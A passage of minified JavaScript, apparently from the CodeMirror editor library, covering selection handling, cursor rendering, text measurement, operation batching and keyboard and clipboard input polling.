b.line>c?nb(c,Of(a,c).text.length):yb(b,Of(a,b.line).text.length)}function yb(a,b){var c=a.ch;return null==c||c>b?nb(a.line,b):0>c?nb(a.line,0):a}function zb(a,b){return b>=a.first&&b<a.first+a.size}function Ab(a,b){for(var c=[],d=0;d<b.length;d++)c[d]=xb(a,b[d]);return c}function Bb(a,b,c,d){if(a.cm&&a.cm.display.shift||a.extend){var e=b.anchor;if(d){var f=ob(c,e)<0;f!=ob(d,e)<0?(e=c,c=d):f!=ob(c,d)<0&&(c=d)}return new tb(e,c)}return new tb(d||c,c)}function Cb(a,b,c,d){Ib(a,new sb([Bb(a,a.sel.primary(),b,c)],0),d)}function Db(a,b,c){for(var d=[],e=0;e<a.sel.ranges.length;e++)d[e]=Bb(a,a.sel.ranges[e],b[e],null);var f=ub(d,a.sel.primIndex);Ib(a,f,c)}function Eb(a,b,c,d){var e=a.sel.ranges.slice(0);e[b]=c,Ib(a,ub(e,a.sel.primIndex),d)}function Fb(a,b,c,d){Ib(a,vb(b,c),d)}function Gb(a,b){var c={ranges:b.ranges,update:function(b){this.ranges=[];for(var c=0;c<b.length;c++)this.ranges[c]=new tb(xb(a,b[c].anchor),xb(a,b[c].head))}};return rg(a,"beforeSelectionChange",a,c),a.cm&&rg(a.cm,"beforeSelectionChange",a.cm,c),c.ranges!=b.ranges?ub(c.ranges,c.ranges.length-1):b}function Hb(a,b,c){var d=a.history.done,e=Jg(d);e&&e.ranges?(d[d.length-1]=b,Jb(a,b,c)):Ib(a,b,c)}function Ib(a,b,c){Jb(a,b,c),ag(a,a.sel,a.cm?a.cm.curOp.id:0/0,c)}function Jb(a,b,c){(xg(a,"beforeSelectionChange")||a.cm&&xg(a.cm,"beforeSelectionChange"))&&(b=Gb(a,b));var d=c&&c.bias||(ob(b.primary().head,a.sel.primary().head)<0?-1:1);Kb(a,Mb(a,b,d,!0)),c&&c.scroll===!1||!a.cm||be(a.cm)}function Kb(a,b){b.equals(a.sel)||(a.sel=b,a.cm&&(a.cm.curOp.updateInput=a.cm.curOp.selectionChanged=!0,wg(a.cm)),tg(a,"cursorActivity",a))}function Lb(a){Kb(a,Mb(a,a.sel,null,!1),Bg)}function Mb(a,b,c,d){for(var e,f=0;f<b.ranges.length;f++){var g=b.ranges[f],h=Nb(a,g.anchor,c,d),i=Nb(a,g.head,c,d);(e||h!=g.anchor||i!=g.head)&&(e||(e=b.ranges.slice(0,f)),e[f]=new tb(h,i))}return e?ub(e,b.primIndex):b}function Nb(a,b,c,d){var e=!1,f=b,g=c||1;a.cantEdit=!1;a:for(;;){var h=Of(a,f.line);if(h.markedSpans)for(var i=0;i<h.markedSpans.length;++i){var j=h.markedSpans[i],k=j.marker;if((null==j.from||(k.inclusiveLeft?j.from<=f.ch:j.from<f.ch))&&(null==j.to||(k.inclusiveRight?j.to>=f.ch:j.to>f.ch))){if(d&&(rg(k,"beforeCursorEnter"),k.explicitlyCleared)){if(h.markedSpans){--i;continue}break}if(!k.atomic)continue;var l=k.find(0>g?-1:1);if(0==ob(l,f)&&(l.ch+=g,l.ch<0?l=l.line>a.first?xb(a,nb(l.line-1)):null:l.ch>h.text.length&&(l=l.line<a.first+a.size-1?nb(l.line+1,0):null),!l)){if(e)return d?(a.cantEdit=!0,nb(a.first,0)):Nb(a,b,c,!0);e=!0,l=b,g=-g}f=l;continue a}}return f}}function Ob(a){for(var b=a.display,c=a.doc,d={},e=d.cursors=document.createDocumentFragment(),f=d.selection=document.createDocumentFragment(),g=0;g<c.sel.ranges.length;g++){var h=c.sel.ranges[g],i=h.empty();(i||a.options.showCursorWhenSelecting)&&Rb(a,h,e),i||Sb(a,h,f)}if(a.options.moveInputWithCursor){var j=rc(a,c.sel.primary().head,"div"),k=b.wrapper.getBoundingClientRect(),l=b.lineDiv.getBoundingClientRect();d.teTop=Math.max(0,Math.min(b.wrapper.clientHeight-10,j.top+l.top-k.top)),d.teLeft=Math.max(0,Math.min(b.wrapper.clientWidth-10,j.left+l.left-k.left))}return d}function Pb(a,b){Zg(a.display.cursorDiv,b.cursors),Zg(a.display.selectionDiv,b.selection),null!=b.teTop&&(a.display.inputDiv.style.top=b.teTop+"px",a.display.inputDiv.style.left=b.teLeft+"px")}function Qb(a){Pb(a,Ob(a))}function Rb(a,b,c){var d=rc(a,b.head,"div",null,null,!a.options.singleCursorHeightPerLine),e=c.appendChild(Wg("div","\xa0","CodeMirror-cursor"));if(e.style.left=d.left+"px",e.style.top=d.top+"px",e.style.height=Math.max(0,d.bottom-d.top)*a.options.cursorHeight+"px",d.other){var f=c.appendChild(Wg("div","\xa0","CodeMirror-cursor CodeMirror-secondarycursor"));f.style.display="",f.style.left=d.other.left+"px",f.style.top=d.other.top+"px",f.style.height=.85*(d.other.bottom-d.other.top)+"px"}}function Sb(a,b,c){function j(a,b,c,d){0>b&&(b=0),b=Math.round(b),d=Math.round(d),f.appendChild(Wg("div",null,"CodeMirror-selected","position: absolute; left: "+a+"px; top: "+b+"px; width: "+(null==c?i-a:c)+"px; height: "+(d-b)+"px"))}function k(b,c,d){function m(c,d){return qc(a,nb(b,c),"div",f,d)}var k,l,f=Of(e,b),g=f.text.length;return vh(Vf(f),c||0,null==d?g:d,function(a,b,e){var n,o,p,f=m(a,"left");if(a==b)n=f,o=p=f.left;else{if(n=m(b-1,"right"),"rtl"==e){var q=f;f=n,n=q}o=f.left,p=n.right}null==c&&0==a&&(o=h),n.top-f.top>3&&(j(o,f.top,null,f.bottom),o=h,f.bottom<n.top&&j(o,f.bottom,null,n.top)),null==d&&b==g&&(p=i),(!k||f.top<k.top||f.top==k.top&&f.left<k.left)&&(k=f),(!l||n.bottom>l.bottom||n.bottom==l.bottom&&n.right>l.right)&&(l=n),h+1>o&&(o=h),j(o,n.top,p-o,n.bottom)}),{start:k,end:l}}var d=a.display,e=a.doc,f=document.createDocumentFragment(),g=$b(a.display),h=g.left,i=d.lineSpace.offsetWidth-g.right,l=b.from(),m=b.to();if(l.line==m.line)k(l.line,l.ch,m.ch);else{var n=Of(e,l.line),o=Of(e,m.line),p=_e(n)==_e(o),q=k(l.line,l.ch,p?n.text.length+1:null).end,r=k(m.line,p?0:null,m.ch).start;p&&(q.top<r.top-2?(j(q.right,q.top,null,q.bottom),j(h,r.top,r.left,r.bottom)):j(q.right,q.top,r.left-q.right,q.bottom)),q.bottom<r.top&&j(h,q.bottom,null,r.top)}c.appendChild(f)}function Tb(a){if(a.state.focused){var b=a.display;clearInterval(b.blinker);var c=!0;b.cursorDiv.style.visibility="",a.options.cursorBlinkRate>0?b.blinker=setInterval(function(){b.cursorDiv.style.visibility=(c=!c)?"":"hidden"},a.options.cursorBlinkRate):a.options.cursorBlinkRate<0&&(b.cursorDiv.style.visibility="hidden")}}function Ub(a,b){a.doc.mode.startState&&a.doc.frontier<a.display.viewTo&&a.state.highlight.set(b,Pg(Vb,a))}function Vb(a){var b=a.doc;if(b.frontier<b.first&&(b.frontier=b.first),!(b.frontier>=a.display.viewTo)){var c=+new Date+a.options.workTime,d=re(b.mode,Xb(a,b.frontier)),e=[];b.iter(b.frontier,Math.min(b.first+b.size,a.display.viewTo+500),function(f){if(b.frontier>=a.display.viewFrom){var g=f.styles,h=rf(a,f,d,!0);f.styles=h.styles;var i=f.styleClasses,j=h.classes;j?f.styleClasses=j:i&&(f.styleClasses=null);for(var k=!g||g.length!=f.styles.length||i!=j&&(!i||!j||i.bgClass!=j.bgClass||i.textClass!=j.textClass),l=0;!k&&l<g.length;++l)k=g[l]!=f.styles[l];k&&e.push(b.frontier),f.stateAfter=re(b.mode,d)}else tf(a,f.text,d),f.stateAfter=0==b.frontier%5?re(b.mode,d):null;return++b.frontier,+new Date>c?(Ub(a,a.options.workDelay),!0):void 0}),e.length&&Kc(a,function(){for(var b=0;b<e.length;b++)Rc(a,e[b],"text")})}}function Wb(a,b,c){for(var d,e,f=a.doc,g=c?-1:b-(a.doc.mode.innerMode?1e3:100),h=b;h>g;--h){if(h<=f.first)return f.first;var i=Of(f,h-1);if(i.stateAfter&&(!c||h<=f.frontier))return h;var j=Fg(i.text,null,a.options.tabSize);(null==e||d>j)&&(e=h-1,d=j)}return e}function Xb(a,b,c){var d=a.doc,e=a.display;if(!d.mode.startState)return!0;var f=Wb(a,b,c),g=f>d.first&&Of(d,f-1).stateAfter;return g=g?re(d.mode,g):se(d.mode),d.iter(f,b,function(c){tf(a,c.text,g);var h=f==b-1||0==f%5||f>=e.viewFrom&&f<e.viewTo;c.stateAfter=h?re(d.mode,g):null,++f}),c&&(d.frontier=f),g}function Yb(a){return a.lineSpace.offsetTop}function Zb(a){return a.mover.offsetHeight-a.lineSpace.offsetHeight}function $b(a){if(a.cachedPaddingH)return a.cachedPaddingH;var b=Zg(a.measure,Wg("pre","x")),c=window.getComputedStyle?window.getComputedStyle(b):b.currentStyle,d={left:parseInt(c.paddingLeft),right:parseInt(c.paddingRight)};return isNaN(d.left)||isNaN(d.right)||(a.cachedPaddingH=d),d}function _b(a,b,c){var d=a.options.lineWrapping,e=d&&a.display.scroller.clientWidth;if(!b.measure.heights||d&&b.measure.width!=e){var f=b.measure.heights=[];if(d){b.measure.width=e;for(var g=b.text.firstChild.getClientRects(),h=0;h<g.length-1;h++){var i=g[h],j=g[h+1];Math.abs(i.bottom-j.bottom)>2&&f.push((i.bottom+j.top)/2-c.top)}}f.push(c.bottom-c.top)}}function ac(a,b,c){if(a.line==b)return{map:a.measure.map,cache:a.measure.cache};for(var d=0;d<a.rest.length;d++)if(a.rest[d]==b)return{map:a.measure.maps[d],cache:a.measure.caches[d]};for(var d=0;d<a.rest.length;d++)if(Sf(a.rest[d])>c)return{map:a.measure.maps[d],cache:a.measure.caches[d],before:!0}}function bc(a,b){b=_e(b);var c=Sf(b),d=a.display.externalMeasured=new Oc(a.doc,b,c);d.lineN=c;var e=d.built=xf(a,d);return d.text=e.pre,Zg(a.display.lineMeasure,e.pre),d}function cc(a,b,c,d){return fc(a,ec(a,b),c,d)}function dc(a,b){if(b>=a.display.viewFrom&&b<a.display.viewTo)return a.display.view[Tc(a,b)];var c=a.display.externalMeasured;return c&&b>=c.lineN&&b<c.lineN+c.size?c:void 0}function ec(a,b){var c=Sf(b),d=dc(a,c);d&&!d.text?d=null:d&&d.changes&&bb(a,d,c,_(a)),d||(d=bc(a,b));var e=ac(d,b,c);return{line:b,view:d,rect:null,map:e.map,cache:e.cache,before:e.before,hasHeights:!1}}function fc(a,b,c,d,e){b.before&&(c=-1);var g,f=c+(d||"");return b.cache.hasOwnProperty(f)?g=b.cache[f]:(b.rect||(b.rect=b.view.text.getBoundingClientRect()),b.hasHeights||(_b(a,b.view,b.rect),b.hasHeights=!0),g=hc(a,b,c,d),g.bogus||(b.cache[f]=g)),{left:g.left,right:g.right,top:e?g.rtop:g.top,bottom:e?g.rbottom:g.bottom}}function hc(a,b,c,f){for(var h,i,j,k,g=b.map,l=0;l<g.length;l+=3){var m=g[l],n=g[l+1];if(m>c?(i=0,j=1,k="left"):n>c?(i=c-m,j=i+1):(l==g.length-3||c==n&&g[l+3]>c)&&(j=n-m,i=j-1,c>=n&&(k="right")),null!=i){if(h=g[l+2],m==n&&f==(h.insertLeft?"left":"right")&&(k=f),"left"==f&&0==i)for(;l&&g[l-2]==g[l-3]&&g[l-1].insertLeft;)h=g[(l-=3)+2],k="left";if("right"==f&&i==n-m)for(;l<g.length-3&&g[l+3]==g[l+4]&&!g[l+5].insertLeft;)h=g[(l+=3)+2],k="right";break}}var o;if(3==h.nodeType){for(var l=0;4>l;l++){for(;i&&Vg(b.line.text.charAt(m+i));)--i;for(;n>m+j&&Vg(b.line.text.charAt(m+j));)++j;if(d&&9>e&&0==i&&j==n-m)o=h.parentNode.getBoundingClientRect();else if(d&&a.options.lineWrapping){var p=Xg(h,i,j).getClientRects();o=p.length?p["right"==f?p.length-1:0]:gc}else o=Xg(h,i,j).getBoundingClientRect()||gc;if(o.left||o.right||0==i)break;j=i,i-=1,k="right"}d&&11>e&&(o=ic(a.display.measure,o))}else{i>0&&(k=f="right");var p;o=a.options.lineWrapping&&(p=h.getClientRects()).length>1?p["right"==f?p.length-1:0]:h.getBoundingClientRect()}if(d&&9>e&&!i&&(!o||!o.left&&!o.right)){var q=h.parentNode.getClientRects()[0];o=q?{left:q.left,right:q.left+yc(a.display),top:q.top,bottom:q.bottom}:gc}for(var r=o.top-b.rect.top,s=o.bottom-b.rect.top,t=(r+s)/2,u=b.view.measure.heights,l=0;l<u.length-1&&!(t<u[l]);l++);var v=l?u[l-1]:0,w=u[l],x={left:("right"==k?o.right:o.left)-b.rect.left,right:("left"==k?o.left:o.right)-b.rect.left,top:v,bottom:w};return o.left||o.right||(x.bogus=!0),a.options.singleCursorHeightPerLine||(x.rtop=r,x.rbottom=s),x}function ic(a,b){if(!window.screen||null==screen.logicalXDPI||screen.logicalXDPI==screen.deviceXDPI||!th(a))return b;var c=screen.logicalXDPI/screen.deviceXDPI,d=screen.logicalYDPI/screen.deviceYDPI;return{left:b.left*c,right:b.right*c,top:b.top*d,bottom:b.bottom*d}}function jc(a){if(a.measure&&(a.measure.cache={},a.measure.heights=null,a.rest))for(var b=0;b<a.rest.length;b++)a.measure.caches[b]={}}function kc(a){a.display.externalMeasure=null,Yg(a.display.lineMeasure);for(var b=0;b<a.display.view.length;b++)jc(a.display.view[b])}function lc(a){kc(a),a.display.cachedCharWidth=a.display.cachedTextHeight=a.display.cachedPaddingH=null,a.options.lineWrapping||(a.display.maxLineChanged=!0),a.display.lineNumChars=null}function mc(){return window.pageXOffset||(document.documentElement||document.body).scrollLeft}function nc(){return window.pageYOffset||(document.documentElement||document.body).scrollTop}function oc(a,b,c,d){if(b.widgets)for(var e=0;e<b.widgets.length;++e)if(b.widgets[e].above){var f=hf(b.widgets[e]);c.top+=f,c.bottom+=f}if("line"==d)return c;d||(d="local");var g=Uf(b);if("local"==d?g+=Yb(a.display):g-=a.display.viewOffset,"page"==d||"window"==d){var h=a.display.lineSpace.getBoundingClientRect();g+=h.top+("window"==d?0:nc());var i=h.left+("window"==d?0:mc());c.left+=i,c.right+=i}return c.top+=g,c.bottom+=g,c}function pc(a,b,c){if("div"==c)return b;var d=b.left,e=b.top;if("page"==c)d-=mc(),e-=nc();else if("local"==c||!c){var f=a.display.sizer.getBoundingClientRect();d+=f.left,e+=f.top}var g=a.display.lineSpace.getBoundingClientRect();return{left:d-g.left,top:e-g.top}}function qc(a,b,c,d,e){return d||(d=Of(a.doc,b.line)),oc(a,d,cc(a,d,b.ch,e),c)}function rc(a,b,c,d,e,f){function g(b,g){var h=fc(a,e,b,g?"right":"left",f);return g?h.left=h.right:h.right=h.left,oc(a,d,h,c)}function h(a,b){var c=i[b],d=c.level%2;return a==wh(c)&&b&&c.level<i[b-1].level?(c=i[--b],a=xh(c)-(c.level%2?0:1),d=!0):a==xh(c)&&b<i.length-1&&c.level<i[b+1].level&&(c=i[++b],a=wh(c)-c.level%2,d=!1),d&&a==c.to&&a>c.from?g(a-1):g(a,d)}d=d||Of(a.doc,b.line),e||(e=ec(a,d));var i=Vf(d),j=b.ch;if(!i)return g(j);var k=Fh(i,j),l=h(j,k);return null!=Eh&&(l.other=h(j,Eh)),l}function sc(a,b){var c=0,b=xb(a.doc,b);a.options.lineWrapping||(c=yc(a.display)*b.ch);var d=Of(a.doc,b.line),e=Uf(d)+Yb(a.display);return{left:c,right:c,top:e,bottom:e+d.height}}function tc(a,b,c,d){var e=nb(a,b);return e.xRel=d,c&&(e.outside=!0),e}function uc(a,b,c){var d=a.doc;if(c+=a.display.viewOffset,0>c)return tc(d.first,0,!0,-1);var e=Tf(d,c),f=d.first+d.size-1;if(e>f)return tc(d.first+d.size-1,Of(d,f).text.length,!0,1);0>b&&(b=0);for(var g=Of(d,e);;){var h=vc(a,g,e,b,c),i=Ze(g),j=i&&i.find(0,!0);if(!i||!(h.ch>j.from.ch||h.ch==j.from.ch&&h.xRel>0))return h;e=Sf(g=j.to.line)}}function vc(a,b,c,d,e){function j(d){var e=rc(a,nb(c,d),"line",b,i);return g=!0,f>e.bottom?e.left-h:f<e.top?e.left+h:(g=!1,e.left)}var f=e-Uf(b),g=!1,h=2*a.display.wrapper.clientWidth,i=ec(a,b),k=Vf(b),l=b.text.length,m=yh(b),n=zh(b),o=j(m),p=g,q=j(n),r=g;if(d>q)return tc(c,n,r,1);for(;;){if(k?n==m||n==Hh(b,m,1):1>=n-m){for(var s=o>d||q-d>=d-o?m:n,t=d-(s==m?o:q);Vg(b.text.charAt(s));)++s;var u=tc(c,s,s==m?p:r,-1>t?-1:t>1?1:0);return u}var v=Math.ceil(l/2),w=m+v;if(k){w=m;for(var x=0;v>x;++x)w=Hh(b,w,1)}var y=j(w);y>d?(n=w,q=y,(r=g)&&(q+=1e3),l=v):(m=w,o=y,p=g,l-=v)}}function xc(a){if(null!=a.cachedTextHeight)return a.cachedTextHeight;if(null==wc){wc=Wg("pre");for(var b=0;49>b;++b)wc.appendChild(document.createTextNode("x")),wc.appendChild(Wg("br"));wc.appendChild(document.createTextNode("x"))}Zg(a.measure,wc);var c=wc.offsetHeight/50;return c>3&&(a.cachedTextHeight=c),Yg(a.measure),c||1}function yc(a){if(null!=a.cachedCharWidth)return a.cachedCharWidth;var b=Wg("span","xxxxxxxxxx"),c=Wg("pre",[b]);Zg(a.measure,c);var d=b.getBoundingClientRect(),e=(d.right-d.left)/10;return e>2&&(a.cachedCharWidth=e),e||10}function Bc(a){a.curOp={cm:a,viewChanged:!1,startHeight:a.doc.height,forceUpdate:!1,updateInput:null,typing:!1,changeObjs:null,cursorActivityHandlers:null,cursorActivityCalled:0,selectionChanged:!1,updateMaxLine:!1,scrollLeft:null,scrollTop:null,scrollToPos:null,id:++Ac},zc?zc.ops.push(a.curOp):a.curOp.ownsGroup=zc={ops:[a.curOp],delayedCallbacks:[]}}function Cc(a){var b=a.delayedCallbacks,c=0;do{for(;c<b.length;c++)b[c]();for(var d=0;d<a.ops.length;d++){var e=a.ops[d];if(e.cursorActivityHandlers)for(;e.cursorActivityCalled<e.cursorActivityHandlers.length;)e.cursorActivityHandlers[e.cursorActivityCalled++](e.cm)}}while(c<b.length)}function Dc(a){var b=a.curOp,c=b.ownsGroup;if(c)try{Cc(c)}finally{zc=null;for(var d=0;d<c.ops.length;d++)c.ops[d].cm.curOp=null;Ec(c)}}function Ec(a){for(var b=a.ops,c=0;c<b.length;c++)Fc(b[c]);for(var c=0;c<b.length;c++)Gc(b[c]);for(var c=0;c<b.length;c++)Hc(b[c]);for(var c=0;c<b.length;c++)Ic(b[c]);
for(var c=0;c<b.length;c++)Jc(b[c])}function Fc(a){var b=a.cm,c=b.display;a.updateMaxLine&&J(b),a.mustUpdate=a.viewChanged||a.forceUpdate||null!=a.scrollTop||a.scrollToPos&&(a.scrollToPos.from.line<c.viewFrom||a.scrollToPos.to.line>=c.viewTo)||c.maxLineChanged&&b.options.lineWrapping,a.update=a.mustUpdate&&new T(b,a.mustUpdate&&{top:a.scrollTop,ensure:a.scrollToPos},a.forceUpdate)}function Gc(a){a.updatedDisplay=a.mustUpdate&&U(a.cm,a.update)}function Hc(a){var b=a.cm,c=b.display;a.updatedDisplay&&Z(b),a.barMeasure=M(b),c.maxLineChanged&&!b.options.lineWrapping&&(a.adjustWidthTo=cc(b,c.maxLine,c.maxLine.text.length).left+3,a.maxScrollLeft=Math.max(0,c.sizer.offsetLeft+a.adjustWidthTo+zg-c.scroller.clientWidth)),(a.updatedDisplay||a.selectionChanged)&&(a.newSelectionNodes=Ob(b))}function Ic(a){var b=a.cm;null!=a.adjustWidthTo&&(b.display.sizer.style.minWidth=a.adjustWidthTo+"px",a.maxScrollLeft<b.doc.scrollLeft&&td(b,Math.min(b.display.scroller.scrollLeft,a.maxScrollLeft),!0),b.display.maxLineChanged=!1),a.newSelectionNodes&&Pb(b,a.newSelectionNodes),a.updatedDisplay&&X(b,a.barMeasure),(a.updatedDisplay||a.startHeight!=b.doc.height)&&N(b,a.barMeasure),a.selectionChanged&&Tb(b),b.state.focused&&a.updateInput&&_c(b,a.typing)}function Jc(a){var b=a.cm,c=b.display,d=b.doc;if(null!=a.adjustWidthTo&&Math.abs(a.barMeasure.scrollWidth-b.display.scroller.scrollWidth)>1&&N(b),a.updatedDisplay&&V(b,a.update),null==c.wheelStartX||null==a.scrollTop&&null==a.scrollLeft&&!a.scrollToPos||(c.wheelStartX=c.wheelStartY=null),null!=a.scrollTop&&(c.scroller.scrollTop!=a.scrollTop||a.forceScroll)){var e=Math.max(0,Math.min(c.scroller.scrollHeight-c.scroller.clientHeight,a.scrollTop));c.scroller.scrollTop=c.scrollbarV.scrollTop=d.scrollTop=e}if(null!=a.scrollLeft&&(c.scroller.scrollLeft!=a.scrollLeft||a.forceScroll)){var g=Math.max(0,Math.min(c.scroller.scrollWidth-c.scroller.clientWidth,a.scrollLeft));c.scroller.scrollLeft=c.scrollbarH.scrollLeft=d.scrollLeft=g,P(b)}if(a.scrollToPos){var h=Zd(b,xb(d,a.scrollToPos.from),xb(d,a.scrollToPos.to),a.scrollToPos.margin);a.scrollToPos.isCursor&&b.state.focused&&Yd(b,h)}var i=a.maybeHiddenMarkers,j=a.maybeUnhiddenMarkers;if(i)for(var k=0;k<i.length;++k)i[k].lines.length||rg(i[k],"hide");if(j)for(var k=0;k<j.length;++k)j[k].lines.length&&rg(j[k],"unhide");c.wrapper.offsetHeight&&(d.scrollTop=b.display.scroller.scrollTop),a.updatedDisplay&&f&&(b.options.lineWrapping&&Y(b,a.barMeasure),a.barMeasure.scrollWidth>a.barMeasure.clientWidth&&a.barMeasure.scrollWidth<a.barMeasure.clientWidth+1&&!L(b)&&N(b)),a.changeObjs&&rg(b,"changes",b,a.changeObjs)}function Kc(a,b){if(a.curOp)return b();Bc(a);try{return b()}finally{Dc(a)}}function Lc(a,b){return function(){if(a.curOp)return b.apply(a,arguments);Bc(a);try{return b.apply(a,arguments)}finally{Dc(a)}}}function Mc(a){return function(){if(this.curOp)return a.apply(this,arguments);Bc(this);try{return a.apply(this,arguments)}finally{Dc(this)}}}function Nc(a){return function(){var b=this.cm;if(!b||b.curOp)return a.apply(this,arguments);Bc(b);try{return a.apply(this,arguments)}finally{Dc(b)}}}function Oc(a,b,c){this.line=b,this.rest=af(b),this.size=this.rest?Sf(Jg(this.rest))-c+1:1,this.node=this.text=null,this.hidden=df(a,b)}function Pc(a,b,c){for(var e,d=[],f=b;c>f;f=e){var g=new Oc(a.doc,Of(a.doc,f),f);e=f+g.size,d.push(g)}return d}function Qc(a,b,c,d){null==b&&(b=a.doc.first),null==c&&(c=a.doc.first+a.doc.size),d||(d=0);var e=a.display;if(d&&c<e.viewTo&&(null==e.updateLineNumbers||e.updateLineNumbers>b)&&(e.updateLineNumbers=b),a.curOp.viewChanged=!0,b>=e.viewTo)v&&bf(a.doc,b)<e.viewTo&&Sc(a);else if(c<=e.viewFrom)v&&cf(a.doc,c+d)>e.viewFrom?Sc(a):(e.viewFrom+=d,e.viewTo+=d);else if(b<=e.viewFrom&&c>=e.viewTo)Sc(a);else if(b<=e.viewFrom){var f=Uc(a,c,c+d,1);f?(e.view=e.view.slice(f.index),e.viewFrom=f.lineN,e.viewTo+=d):Sc(a)}else if(c>=e.viewTo){var f=Uc(a,b,b,-1);f?(e.view=e.view.slice(0,f.index),e.viewTo=f.lineN):Sc(a)}else{var g=Uc(a,b,b,-1),h=Uc(a,c,c+d,1);g&&h?(e.view=e.view.slice(0,g.index).concat(Pc(a,g.lineN,h.lineN)).concat(e.view.slice(h.index)),e.viewTo+=d):Sc(a)}var i=e.externalMeasured;i&&(c<i.lineN?i.lineN+=d:b<i.lineN+i.size&&(e.externalMeasured=null))}function Rc(a,b,c){a.curOp.viewChanged=!0;var d=a.display,e=a.display.externalMeasured;if(e&&b>=e.lineN&&b<e.lineN+e.size&&(d.externalMeasured=null),!(b<d.viewFrom||b>=d.viewTo)){var f=d.view[Tc(a,b)];if(null!=f.node){var g=f.changes||(f.changes=[]);-1==Lg(g,c)&&g.push(c)}}}function Sc(a){a.display.viewFrom=a.display.viewTo=a.doc.first,a.display.view=[],a.display.viewOffset=0}function Tc(a,b){if(b>=a.display.viewTo)return null;if(b-=a.display.viewFrom,0>b)return null;for(var c=a.display.view,d=0;d<c.length;d++)if(b-=c[d].size,0>b)return d}function Uc(a,b,c,d){var f,e=Tc(a,b),g=a.display.view;if(!v||c==a.doc.first+a.doc.size)return{index:e,lineN:c};for(var h=0,i=a.display.viewFrom;e>h;h++)i+=g[h].size;if(i!=b){if(d>0){if(e==g.length-1)return null;f=i+g[e].size-b,e++}else f=i-b;b+=f,c+=f}for(;bf(a.doc,c)!=c;){if(e==(0>d?0:g.length-1))return null;c+=d*g[e-(0>d?1:0)].size,e+=d}return{index:e,lineN:c}}function Vc(a,b,c){var d=a.display,e=d.view;0==e.length||b>=d.viewTo||c<=d.viewFrom?(d.view=Pc(a,b,c),d.viewFrom=b):(d.viewFrom>b?d.view=Pc(a,b,d.viewFrom).concat(d.view):d.viewFrom<b&&(d.view=d.view.slice(Tc(a,b))),d.viewFrom=b,d.viewTo<c?d.view=d.view.concat(Pc(a,d.viewTo,c)):d.viewTo>c&&(d.view=d.view.slice(0,Tc(a,c)))),d.viewTo=c}function Wc(a){for(var b=a.display.view,c=0,d=0;d<b.length;d++){var e=b[d];e.hidden||e.node&&!e.changes||++c}return c}function Xc(a){a.display.pollingFast||a.display.poll.set(a.options.pollInterval,function(){$c(a),a.state.focused&&Xc(a)})}function Yc(a){function c(){var d=$c(a);d||b?(a.display.pollingFast=!1,Xc(a)):(b=!0,a.display.poll.set(60,c))}var b=!1;a.display.pollingFast=!0,a.display.poll.set(20,c)}function $c(a){var b=a.display.input,c=a.display.prevInput,f=a.doc;if(!a.state.focused||qh(b)&&!c||cd(a)||a.options.disableInput)return!1;a.state.pasteIncoming&&a.state.fakedLastChar&&(b.value=b.value.substring(0,b.value.length-1),a.state.fakedLastChar=!1);var g=b.value;if(g==c&&!a.somethingSelected())return!1;if(d&&e>=9&&a.display.inputHasSelection===g||p&&/[\uf700-\uf7ff]/.test(g))return _c(a),!1;var h=!a.curOp;h&&Bc(a),a.display.shift=!1,8203!=g.charCodeAt(0)||f.sel!=a.display.selForContextMenu||c||(c="\u200b");for(var i=0,j=Math.min(c.length,g.length);j>i&&c.charCodeAt(i)==g.charCodeAt(i);)++i;var k=g.slice(i),l=ph(k),m=null;a.state.pasteIncoming&&f.sel.ranges.length>1&&(Zc&&Zc.join("\n")==k?m=0==f.sel.ranges.length%Zc.length&&Mg(Zc,ph):l.length==f.sel.ranges.length&&(m=Mg(l,function(a){return[a]})));for(var n=f.sel.ranges.length-1;n>=0;n--){var o=f.sel.ranges[n],q=o.from(),r=o.to();i<c.length?q=nb(q.line,q.ch-(c.length-i)):a.state.overwrite&&o.empty()&&!a.state.pasteIncoming&&(r=nb(r.line,Math.min(Of(f,r.line).text.length,r.ch+Jg(l).length)));var s=a.curOp.updateInput,t={from:q,to:r,text:m?m[n%m.length]:l,origin:a.state.pasteIncoming?"paste":a.state.cutIncoming?"cut":"+input"};if(Rd(a.doc,t),tg(a,"inputRead",a,t),k&&!a.state.pasteIncoming&&a.options.electricChars&&a.options.smartIndent&&o.head.ch<100&&(!n||f.sel.ranges[n-1].head.line!=o.head.line)){var u=a.getModeAt(o.head),v=Ld(t);if(u.electricChars){for(var w=0;w<u.electricChars.length;w++)if(k.indexOf(u.electricChars.charAt(w))>-1){de(a,v.line,"smart");break}}else u.electricInput&&u.electricInput.test(Of(f,v.line).text.slice(0,v.ch))&&de(a,v.line,"smart")}}return be(a),a.curOp.updateInput=s,a.curOp.typing=!0,g.length>1e3||g.indexOf("\n")>-1?b.value=a.display.prevInput="":a.display.prevInput=g,h&&Dc(a),a.state.pasteIncoming=a.state.cutIncoming=!1,!0}function _c(a,b){var c,f,g=a.doc;if(a.somethingSelected()){a.display.prevInput="";var h=g.sel.primary();c=rh&&(h.to().line-h.from().line>100||(f=a.getSelection()).length>1e3);var i=c?"-":f||a.getSelection();a.display.input.value=i,a.state.focused&&Kg(a.display.input),d&&e>=9&&(a.display.inputHasSelection=i)}else b||(a.display.prevInput=a.display.input.value="",d&&e>=9&&(a.display.inputHasSelection=null));a.display.inaccurateSelection=c}function ad(a){"nocursor"==a.options.readOnly||o&&_g()==a.display.input||a.display.input.focus()}function bd(a){a.state.focused||(ad(a),Hd(a))}function cd(a){return a.options.readOnly||a.doc.cantEdit}function dd(a){function c(){a.state.focused&&setTimeout(Pg(ad,a),0)}function g(b){vg(a,b)||mg(b)}function h(c){if(a.somethingSelected())Zc=a.getSelections(),b.inaccurateSelection&&(b.prevInput="",b.inaccurateSelection=!1,b.input.value=Zc.join("\n"),Kg(b.input));else{for(var d=[],e=[],f=0;f<a.doc.sel.ranges.length;f++){var g=a.doc.sel.ranges[f].head.line,h={anchor:nb(g,0),head:nb(g+1,0)};e.push(h),d.push(a.getRange(h.anchor,h.head))}"cut"==c.type?a.setSelections(e,null,Bg):(b.prevInput="",b.input.value=d.join("\n"),Kg(b.input)),Zc=d}"cut"==c.type&&(a.state.cutIncoming=!0)}var b=a.display;pg(b.scroller,"mousedown",Lc(a,hd)),d&&11>e?pg(b.scroller,"dblclick",Lc(a,function(b){if(!vg(a,b)){var c=gd(a,b);if(c&&!od(a,b)&&!fd(a.display,b)){jg(b);var 